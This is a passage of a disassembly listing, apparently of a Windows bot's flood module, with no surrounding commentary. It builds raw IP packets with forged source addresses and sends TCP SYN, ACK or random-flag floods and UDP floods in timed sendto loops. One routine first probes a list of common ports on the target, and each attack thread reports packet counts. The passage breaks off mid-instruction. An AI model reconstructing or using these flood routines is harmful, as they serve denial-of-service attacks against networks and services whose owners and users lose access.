loc_414594: ; CODE XREF: sub_41444D+DFj lea eax, [ebp+var_23C] push eax call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414604 lea eax, [ebp+var_440] push offset unk_438AC8 push eax call sub_41C056 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_4145E4 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409982 add esp, 14h loc_4145E4: ; CODE XREF: sub_41444D+172j lea eax, [ebp+var_440] push eax call sub_4157A5 push [ebp+var_BC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread loc_414604: ; CODE XREF: sub_41444D+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_4CDC64 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CDCA4 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax jmp loc_41486C ; --------------------------------------------------------------------------- loc_414641: ; CODE XREF: sub_41444D+433j push 28h mov [ebp+var_2C], 45h call dword_4CDC64 ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_41469A call sub_41C0B2 mov esi, eax shl esi, 8 call sub_41C0B2 add esi, eax shl esi, 8 call sub_41C0B2 add esi, eax shl esi, 8 call sub_41C0B2 add esi, eax mov [ebp+var_20], esi xor esi, esi inc esi jmp short loc_4146B0 ; --------------------------------------------------------------------------- loc_41469A: ; CODE XREF: sub_41444D+21Ej push [ebp+var_240] call sub_40AB14 pop ecx push eax call dword_4CDCA4 ; inet_addr mov [ebp+var_20], eax loc_4146B0: ; CODE XREF: sub_41444D+24Bj mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_4146CE call sub_41C0B2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_4146D4 ; --------------------------------------------------------------------------- loc_4146CE: ; CODE XREF: sub_41444D+26Fj push [ebp+var_B8] loc_4146D4: ; CODE XREF: sub_41444D+27Fj call dword_4CDC64 ; ntohs mov [ebp+var_16], ax call sub_41C0B2 cdq mov ecx, 401h idiv ecx push edx call dword_4CDC64 ; ntohs push 12345678h mov [ebp+var_18], ax call dword_4CDC60 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_414724 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414780 ; --------------------------------------------------------------------------- loc_414724: ; CODE XREF: sub_41444D+2CCj lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_414744 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414780 ; --------------------------------------------------------------------------- loc_414744: ; CODE XREF: sub_41444D+2ECj lea eax, [ebp+var_1BC] push offset aRandom_0 ; "random" push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_414780 call sub_41C0B2 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41C0B2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414780: ; CODE XREF: sub_41444D+2D5j ; sub_41444D+2F5j ... push 200h mov [ebp+var_C], 50h call dword_4CDC64 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CDC64 ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_A0] push 34h push eax call sub_40AB6D mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call near ptr sub_41CAE0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41BD60 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AB6D mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41CAE0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CDCC8 ; sendto cmp eax, 0FFFFFFFFh jz loc_414917 inc [ebp+arg_0] loc_41486C: ; CODE XREF: sub_41444D+1EFj call edi ; GetTickCount sub eax, [ebp+var_30] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_B4] jbe loc_414641 push [ebp+var_4] call dword_4CDCFC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_438A78 push eax call sub_41C056 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4148F7 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409982 add esp, 14h loc_4148F7: ; CODE XREF: sub_41444D+485j lea eax, [ebp+var_440] push eax call sub_4157A5 push [ebp+var_BC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread loc_414917: ; CODE XREF: sub_41444D+416j push [ebp+var_4] call dword_4CDCFC ; closesocket call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_438A28 lea eax, [ebp+var_440] push 200h push eax call sub_41C150 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414975 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409982 add esp, 14h loc_414975: ; CODE XREF: sub_41444D+503j lea eax, [ebp+var_440] push eax call sub_4157A5 push [ebp+var_BC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread sub_41444D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414995 proc near ; CODE XREF: sub_414A9E+196p ; sub_414A9E+1FFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp ecx, 1 mov [ebp+arg_4], esi jle short loc_4149C3 lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_4149B5: ; CODE XREF: sub_414995+28j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_4149B5 pop edi cmp ecx, 1 loc_4149C3: ; CODE XREF: sub_414995+12j jnz short loc_4149D0 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_4149D0: ; CODE XREF: sub_414995:loc_4149C3j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414995 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149E9 proc near ; DATA XREF: sub_401B66+6BFAo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41BF49 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CDCA4 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414A9E push eax lea eax, [ebp+var_394] push offset unk_438B54 push eax call sub_41C056 xor esi, esi add esp, 1A8h cmp [ebp+var_8], esi jnz short loc_414A81 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409982 add esp, 14h loc_414A81: ; CODE XREF: sub_4149E9+76j lea eax, [ebp+var_394] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread sub_4149E9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A9E proc near ; CODE XREF: sub_4149E9+54p var_C8 = byte ptr -0C8h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9E = word ptr -9Eh var_9C = byte ptr -9Ch var_88 = byte ptr -88h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_54 = dword ptr -54h var_50 = byte ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = word ptr -46h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0C8h and [ebp+var_4], 0 push ebx push esi mov esi, dword_4280A8 push edi call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_C], eax call dword_4CDCE4 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41C0A8 pop ecx mov ebx, 578h push ebx push 9 push 1 call sub_418E56 pop ecx pop ecx push eax lea eax, [ebp+var_24] push eax call sub_41BD60 add esp, 0Ch mov esi, 5A0h loc_414AF7: ; CODE XREF: sub_414A9E+224j call dword_4280A8 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_414CC7 cmp dword_4D14F4, 0 jnz short loc_414B76 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_64] push 0 push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_64] push eax push [ebp+arg_0] call dword_4CDC08 ; getsockname push 0FFh push 1 call sub_418E56 push eax movzx eax, [ebp+var_5E] push eax movzx eax, [ebp+var_5F] push eax movzx eax, [ebp+var_60] push eax lea eax, [ebp+var_C8] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41C056 add esp, 20h jmp short loc_414B89 ; --------------------------------------------------------------------------- loc_414B76: ; CODE XREF: sub_414A9E+7Ej lea eax, [ebp+var_C8] push offset dword_4D0ED8 push eax call sub_41C680 pop ecx pop ecx loc_414B89: ; CODE XREF: sub_414A9E+D6j lea eax, [ebp+var_C8] push eax call dword_4CDCA4 ; inet_addr mov edi, eax mov eax, [ebp+var_54] and al, 45h push esi or al, 45h mov [ebp+var_50], 10h mov [ebp+var_54], eax call dword_4CDC64 ; ntohs mov [ebp+var_4E], ax call sub_41C0B2 and [ebp+var_46], 0 mov [ebp+var_4C], ax mov eax, [ebp+arg_194] mov [ebp+var_4A], 40h mov [ebp+var_48], 40h mov [ebp+var_47], 6 mov [ebp+var_44], edi mov [ebp+var_40], eax call sub_41C0B2 mov [ebp+var_3C], ax call sub_41C0B2 mov [ebp+var_3A], ax call sub_41C0B2 mov [ebp+var_38], eax call sub_41C0B2 mov [ebp+var_34], eax mov eax, [ebp+var_30] and al, 50h mov edi, [ebp+var_40] or al, 50h and [ebp+var_2A], 0 and [ebp+var_28], 0 mov word ptr [ebp+var_30], ax mov ax, [ebp+var_3A] push 14h mov [ebp+var_72], ax lea eax, [ebp+var_54] push eax mov byte ptr [ebp+var_30+2], 18h mov [ebp+var_2C], 787Dh mov [ebp+var_74], 2 mov [ebp+var_70], edi call sub_414995 and [ebp+var_A0], 0 pop ecx pop ecx mov [ebp+var_46], ax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], edi mov [ebp+var_9F], 6 call dword_42820C ; ntohs mov [ebp+var_9E], ax lea eax, [ebp+var_9C] push 14h push eax lea eax, [ebp+var_3C] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_88] push ebx push eax lea eax, [ebp+var_24] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_A8] push 598h push eax call sub_414995 add esp, 20h mov [ebp+var_2A], ax lea eax, [ebp+var_74] push 10h push eax push 0 push esi lea eax, [ebp+var_54] push eax push [ebp+var_8] call dword_4CDCC8 ; sendto inc [ebp+var_4] jmp loc_414AF7 ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: sub_414A9E+71j push [ebp+var_8] call dword_4CDCFC ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414A9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CD8 proc near ; DATA XREF: sub_401B66+4BE5o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_414D4E push eax lea eax, [ebp+var_414] push offset unk_438B88 push eax call sub_41C056 add esp, 220h lea eax, [ebp+var_414] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push 0 call dword_4280CC ; ExitThread sub_414CD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D4E proc near ; CODE XREF: sub_414CD8+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CDCE4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_414D8C lea eax, [ebp+var_254] push offset unk_438D80 push eax call sub_41C056 pop ecx xor edi, edi pop ecx jmp loc_415052 ; --------------------------------------------------------------------------- loc_414D8C: ; CODE XREF: sub_414D4E+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414DB8 call dword_4CDBF8 ; WSAGetLastError push eax push offset unk_438D30 jmp short loc_414DD3 ; --------------------------------------------------------------------------- loc_414DB8: ; CODE XREF: sub_414D4E+5Aj lea eax, [ebp+arg_4] push eax call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414DE7 call dword_4CDBF8 ; WSAGetLastError push eax push offset unk_438CE8 loc_414DD3: ; CODE XREF: sub_414D4E+68j lea eax, [ebp+var_254] push eax call sub_41C056 add esp, 0Ch jmp loc_415052 ; --------------------------------------------------------------------------- loc_414DE7: ; CODE XREF: sub_414D4E+77j push edi mov [ebp+var_24], 2 call dword_4CDC64 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_428234 ; inet_addr mov esi, dword_4280A8 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_438CBC push eax call sub_41C056 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_414E50 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409982 add esp, 14h loc_414E50: ; CODE XREF: sub_414D4E+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41BF49 cmp esi, eax pop ecx ja loc_415009 mov esi, 41Ch jmp short loc_414E84 ; --------------------------------------------------------------------------- loc_414E7F: ; CODE XREF: sub_414D4E+2B5j mov ebx, 0FFh loc_414E84: ; CODE XREF: sub_414D4E+12Fj cmp dword_4D14F4, edi jnz short loc_414EDC push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4CDC08 ; getsockname push ebx push 1 call sub_418E56 push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41C056 add esp, 20h jmp short loc_414EEC ; --------------------------------------------------------------------------- loc_414EDC: ; CODE XREF: sub_414D4E+13Cj lea eax, [ebp+var_54] push offset dword_4D0ED8 push eax call sub_41C680 pop ecx pop ecx loc_414EEC: ; CODE XREF: sub_414D4E+18Cj push esi mov byte_4D10D8, 45h call dword_4CDC64 ; ntohs mov word_4D10DA, ax lea eax, [ebp+var_54] push eax mov word_4D10DC, 1 mov word_4D10DE, di mov byte_4D10E0, 80h mov byte_4D10E1, 11h mov word_4D10E2, di call dword_4CDCA4 ; inet_addr mov dword_4D10E4, eax mov eax, [ebp+var_20] mov dword_4D10E8, eax lea eax, [ebp+arg_84] push eax mov word_4D10F2, di call sub_41BF49 test eax, eax pop ecx jnz short loc_414F64 call sub_41C0B2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_414F72 ; --------------------------------------------------------------------------- loc_414F64: ; CODE XREF: sub_414D4E+204j lea eax, [ebp+arg_84] push eax call sub_41BF49 pop ecx push eax loc_414F72: ; CODE XREF: sub_414D4E+214j call dword_4CDC64 ; ntohs mov word_4D10EE, ax call sub_41C0B2 cdq mov ecx, 401h push 408h idiv ecx mov word_4D10EC, dx call dword_4CDC64 ; ntohs push 400h mov word_4D10F0, ax call sub_41C0B2 cdq idiv ebx push edx push offset dword_4D10F4 call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4D10D8 push [ebp+var_C] call dword_4CDCC8 ; sendto cmp eax, 0FFFFFFFFh jz loc_415081 inc [ebp+var_4] call dword_4280A8 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41BF49 cmp ebx, eax pop ecx jbe loc_414E7F loc_415009: ; CODE XREF: sub_414D4E+124j push [ebp+var_C] call dword_4CDCFC ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41BF49 mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_438C58 push eax call sub_41C056 add esp, 1Ch loc_415052: ; CODE XREF: sub_414D4E+39j ; sub_414D4E+94j ... cmp [ebp+arg_20C], edi jnz short loc_41507A push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409982 add esp, 14h loc_41507A: ; CODE XREF: sub_414D4E+30Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415081: ; CODE XREF: sub_414D4E+289j push [ebp+var_4] push esi call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_438BC8 push eax call sub_41C056 add esp, 18h jmp short loc_415052 sub_414D4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150A6 proc near ; DATA XREF: sub_401B66+627Co var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41BF49 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_41BF49 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CDCA4 ; inet_addr push eax call sub_415240 push eax lea eax, [ebp+var_414] push offset unk_438DAC push eax call sub_41C056 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_415138 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409982 add esp, 14h loc_415138: ; CODE XREF: sub_4150A6+70j lea eax, [ebp+var_414] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_4150A6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415157 proc near ; CODE XREF: sub_415240+184p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_415180 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428210 ; connect jmp loc_41523C ; --------------------------------------------------------------------------- loc_415180: ; CODE XREF: sub_415157+13j mov esi, [ebp+arg_0] lea eax, [ebp+var_8] xor edi, edi push eax inc edi push 8004667Eh push esi mov [ebp+var_8], edi call dword_4281F8 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CDC0C ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CDC4C ; select test eax, eax jnz short loc_4151E4 or eax, 0FFFFFFFFh jmp short loc_41523C ; --------------------------------------------------------------------------- loc_4151E4: ; CODE XREF: sub_415157+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_4151EF loc_4151EB: ; CODE XREF: sub_415157+B8j ; sub_415157+DCj mov eax, edi jmp short loc_41523C ; --------------------------------------------------------------------------- loc_4151EF: ; CODE XREF: sub_415157+92j lea eax, [ebp+var_10C] push eax push esi call sub_426FF6 ; __WSAFDIsSet test eax, eax jnz short loc_415211 lea eax, [ebp+var_210] push eax push esi call sub_426FF6 ; __WSAFDIsSet test eax, eax jz short loc_4151EB loc_415211: ; CODE XREF: sub_415157+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4281E4 ; getsockopt cmp eax, edi jz short loc_4151EB mov eax, [ebp+var_4] neg eax sbb eax, eax loc_41523C: ; CODE XREF: sub_415157+24j ; sub_415157+8Bj ... pop edi pop esi leave retn sub_415157 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415240 proc near ; CODE XREF: sub_4150A6+51p var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = byte ptr -0FCh var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h xor eax, eax push ebx push esi inc eax push edi xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 mov [ebp+var_10], eax pop esi push esi push 2 call dword_428208 ; WSASocketA lea ecx, [ebp+var_10] push 4 push ecx push 2 push ebx push eax mov dword_4D1558, eax call dword_4CDC44 ; setsockopt call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx xor eax, eax push 19h lea edi, [ebp+var_FC] pop ecx mov [ebp+var_108], ebx mov [ebp+var_78], ecx mov [ebp+var_104], ebx mov [ebp+var_100], ebx mov [ebp+var_18], esi mov [ebp+var_88], 401h mov [ebp+var_84], 15h mov [ebp+var_80], 16h mov [ebp+var_7C], 17h mov [ebp+var_74], 35h mov [ebp+var_70], 50h mov [ebp+var_6C], 51h mov [ebp+var_68], 58h mov [ebp+var_64], 6Eh mov [ebp+var_60], 71h mov [ebp+var_5C], 77h mov [ebp+var_58], 87h mov [ebp+var_54], 89h mov [ebp+var_50], 8Bh mov [ebp+var_4C], 8Fh mov [ebp+var_48], 1BBh mov [ebp+var_44], 1BDh mov [ebp+var_40], 400h mov [ebp+var_3C], 599h mov [ebp+var_38], 5DCh mov [ebp+var_34], 6B8h mov [ebp+var_30], 0CEAh mov [ebp+var_2C], 0D3Dh mov [ebp+var_28], 1388h mov [ebp+var_24], 1A0Bh mov [ebp+var_20], 1F40h mov [ebp+var_1C], 1F90h mov [ebp+var_C], ebx rep stosd mov [ebp+var_14], 0BB8h xor esi, esi loc_41537E: ; CODE XREF: sub_415240+1ACj mov eax, [ebp+arg_0] lea edi, [ebp+esi+var_88] mov [ebp+var_94], eax mov [ebp+var_98], 2 mov ax, [edi] push eax call dword_4CDC64 ; ntohs push ebx push 1 push 2 mov [ebp+var_96], ax call dword_4CDCE4 ; socket lea ecx, [ebp+var_18] mov [ebp+var_8], eax push ecx lea ecx, [ebp+var_98] push 10h push ecx push eax call sub_415157 add esp, 10h mov [ebp+var_4], eax push [ebp+var_8] call dword_4CDCFC ; closesocket cmp [ebp+var_4], ebx jnz short loc_4153E6 mov eax, [edi] mov [ebp+esi+var_108], eax loc_4153E6: ; CODE XREF: sub_415240+19Bj add esi, 4 cmp esi, 70h jl short loc_41537E mov esi, offset dword_4D1560 push offset asc_42E0C8 ; " " push esi call sub_41C056 mov edi, dword_4280A8 pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_8], eax mov [ebp+var_4], ebx loc_41540E: ; CODE XREF: sub_415240+225j call edi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415467 mov eax, [ebp+var_4] mov eax, [ebp+eax*4+var_108] cmp eax, ebx jz short loc_415444 push eax push esi push offset aSD ; "%s%d " push esi mov [ebp+var_C], eax call sub_41C056 add esp, 10h jmp short loc_41545E ; --------------------------------------------------------------------------- loc_415444: ; CODE XREF: sub_415240+1EDj push 0FFFFh push ebx call sub_418E56 pop ecx pop ecx push eax call dword_4CDC64 ; ntohs movzx eax, ax mov [ebp+var_C], eax loc_41545E: ; CODE XREF: sub_415240+202j inc [ebp+var_4] cmp [ebp+var_4], 1Ch jl short loc_41540E loc_415467: ; CODE XREF: sub_415240+1DFj ; sub_415240+45Ej push 28h push ebx push offset byte_4D14FC call sub_41BD60 mov esi, 0FFFFh mov byte_4D14FC, 45h push esi push 400h mov byte_4D1505, 6 mov byte_4D14FD, 8 call sub_418E56 add esp, 14h push eax call dword_4CDC64 ; ntohs push 28h mov word_4D1500, ax call dword_4CDC64 ; ntohs or byte_4D1504, 0FFh cmp dword_4D14F4, ebx mov word_4D14FE, ax mov word_4D1502, bx jnz short loc_4154E7 push 